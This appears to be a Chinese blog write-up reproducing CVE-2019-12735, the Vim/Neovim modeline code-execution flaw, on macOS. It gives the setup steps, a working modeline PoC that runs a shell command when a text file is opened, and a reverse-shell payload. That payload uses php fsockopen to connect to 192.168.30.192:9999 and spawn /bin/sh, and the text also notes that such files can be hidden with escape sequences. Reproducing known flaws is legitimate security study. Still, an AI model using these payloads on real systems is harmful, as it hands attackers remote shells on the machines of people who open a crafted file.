Vim + Neovim通过Modelines执行任意代码(CVE-2019-12735)漏洞复现


在8.1.1365之前的Vim和​​在0.3.6之前的Neovim很容易通过打开特制的文本文件而通过模型执行任意代码。

mac下复现

前置条件

条件一:Vim < 8.1.1365, Neovim < 0.3.6,复现的mac下vim版本为8.0.1283;

avatar

条件二:确保未禁用modeline选项(:set modeline)。

可惜vim默认关闭modeline,开启的话需要修改home下的.vimrc全局配置文件:

Mac下默认没有用户配置文件.vimrc,创建/Users/用户名/.vimrc文件,文件内容复制/usr/share/vim/vimrc(mac下vim的全局配置文件)中的内容,但需要修改一行-set modelines=0 “ CVE-2007-2438改为set modelines=1 “ CVE-2007-2438:

.vimrc文件内容:

“ Configuration file for vim
set modelines=1 “ CVE-2007-2438

“ Normally we use vim-extensions. If you want true vi-compatibility
“ remove change the following statements
set nocompatible “ Use Vim defaults instead of 100% vi compatibility
set backspace=2 “ more powerful backspacing

“ Don’t write backup file if vim is being called by “crontab -e”
au BufWrite /private/tmp/crontab. set nowritebackup nobackup
“ Don’t write backup file if vim is being called by “chpass”
au BufWrite /private/etc/pw.
set nowritebackup nobackup

let skip_defaults_vim=1

poc

创建poc.txt:

:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

在Vim中打开文件:

$ vim poc.txt

系统将执行uname -a
avatar

反向shell

该PoC概述了一种真实的攻击方法,其中一旦用户打开文件就启动反向shell。为了隐藏攻击,文件将在打开时立即重写。此外,PoC使用终端转义序列在打印内容时隐藏模式行cat。(cat -v揭示实际内容。)
macmacshell3.txt(原本的shell1.txt在mac下各种报错,nc/python/bash都不好使,php好使):

:!php -r '$sock=fsockopen("192.168.30.192",9999);exec("/bin/sh -i <&3 >&3 2>&3");'||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

avatar

出处

https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md